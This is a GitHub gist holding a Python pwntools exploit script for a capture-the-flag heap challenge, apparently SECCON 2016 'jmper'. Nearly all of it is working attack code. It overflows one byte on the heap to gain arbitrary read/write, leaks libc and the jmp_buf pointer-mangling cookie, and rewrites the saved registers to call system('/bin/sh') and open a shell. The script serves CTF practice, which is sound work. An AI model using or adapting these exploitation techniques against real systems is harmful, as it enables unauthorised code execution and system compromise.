Created
January 14, 2017 14:19
-
-
Save CreateRemoteThread/3080acc4e3709813451f8c86a33ba509 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import pwn | |
import struct | |
import sys | |
import binascii | |
p = pwn.remote('127.0.0.1',55555) | |
def initItems(): | |
p.recvuntil("6. Bye :)") | |
p.sendline("1") | |
p.recvuntil("6. Bye :)") | |
p.sendline("1") | |
def leakHeapAddress(x): | |
p.recvuntil("6. Bye :)") | |
p.sendline("3") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
p.recvuntil("Input memo:") | |
p.sendline("A" * 32) | |
p.recvuntil("6. Bye :)") | |
p.sendline("5") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
data = p.recvuntil("1. Add",drop=True)[32:] | |
next_ptr = struct.unpack("<q",data.ljust(8,'\00'))[0] | |
print " [!] leaked next_ptr = 0x%x" % next_ptr | |
return next_ptr | |
def overflowHeapAddress(x,newbyte): | |
p.recvuntil("6. Bye :)") | |
p.sendline("3") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
p.recvuntil("Input memo:") | |
p.sendline("A" * 32 + newbyte) | |
p.recvuntil("6. Bye :)") | |
p.sendline("5") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
data = p.recvuntil("1. Add",drop=True)[32:] | |
next_ptr = struct.unpack("<q",data.ljust(8,'\00'))[0] | |
print " [!] overflowed next_ptr = 0x%x" % next_ptr | |
return next_ptr | |
def showName(x): | |
p.recvuntil("6. Bye :)") | |
p.sendline("4") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
data = p.recvuntil("1. Add",drop=True) | |
# print binascii.hexlify(data) + data | |
return data | |
def setName(x,name): | |
p.recvuntil("6. Bye :)") | |
p.sendline("2") | |
p.recvuntil("ID:",timeout=1) | |
p.sendline(str(x)) | |
p.recvuntil("Input name:") | |
p.sendline(name) | |
def showMemo(x): | |
p.recvuntil("6. Bye :)") | |
p.sendline("4") | |
p.recvuntil("ID:") | |
p.sendline("0") | |
name = p.recvuntil("1. Add",drop=True) | |
# print binascii.hexlify(name) + name | |
return name | |
print " [!] stage 1: prepare exploit" | |
initItems() | |
raw_input(" [>] attach a debugger now!") | |
print " [>] seeding NAME_ZERO with /bin/sh" | |
setName(0,"NM0") | |
setName(1,"/bin/sh") | |
nameOne_addr = leakHeapAddress(1) | |
nameZero_addr = leakHeapAddress(0) | |
nameZero_newbyte = "" + chr((nameZero_addr & 0xFF) + 0x58) | |
print " [!] overflowing last byte of nameZero with %s" % binascii.hexlify(nameZero_newbyte) | |
overflowHeapAddress(0,nameZero_newbyte) | |
# this is the basic arbitrary read/write primitive... | |
print " [>] writing address of name1 to arbitrary offset" | |
setName(0,struct.pack("<q",0x601fa0)) # PLT | |
print " [<] reading puts@PLT" | |
leaked_plt = showName(1) | |
puts_plt = struct.unpack("<q",leaked_plt.ljust(8,'\x00'))[0] | |
# system_plt = struct.pack("<q",puts_plt - 0x2b290) | |
print " [!] puts@libc = 0x%x" % puts_plt | |
print " [!] system@libc = 0x%x" % (puts_plt - 0x2b290) | |
# 0x602038 | |
setName(0,struct.pack("<q",0x602038)) | |
leaked_jmpbuf = showName(1) | |
actual_jmpbuf = struct.unpack("<q",leaked_jmpbuf.ljust(8,'\x00'))[0] | |
print " [<] jmpbuf lives at 0x%x" % actual_jmpbuf | |
# careful here - struct unpacks a tuple | |
setName(0,struct.pack("<q",actual_jmpbuf + 0x30)) | |
rsp_s = pwn.ror(struct.unpack("<Q",showName(1)[0:8])[0],0x11,64) | |
setName(0,struct.pack("<q",actual_jmpbuf + 0x38)) | |
rip_s = pwn.ror(struct.unpack("<Q",showName(1)[0:8])[0],0x11,64) | |
cookie = rip_s ^ 0x400C31 | |
old_rsp = rsp_s ^ cookie | |
print " [<] leaked cookie is 0x%x" % cookie | |
print " [<] old stack is 0x%x" % old_rsp | |
# use a pseudo rop chain to do this | |
# > RIP = pop rdi; ret gadget | |
# > RSP = name0 | |
# \-> /bin/sh | |
# \-> system | |
# https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/jmper-300 | |
print " [>] writing new RIP to pop rdi gadget..." | |
new_rip = pwn.rol(0x400cc3 ^ cookie,0x11,64) | |
setName(1,struct.pack("<Q",new_rip)) | |
print " [>] seeding new stack with /bin/sh and system..." | |
setName(0,struct.pack("<q",old_rsp)) | |
setName(1,struct.pack("<Q",nameOne_addr)) | |
setName(0,struct.pack("<q",old_rsp + 8)) | |
setName(1,struct.pack("<Q",puts_plt - 0x2b290)) | |
raw_input(" [!] triggering longjmp, final chance to debug...") | |
for i in range(0,29): | |
p.recvuntil("6. Bye :)") | |
p.sendline("1") | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment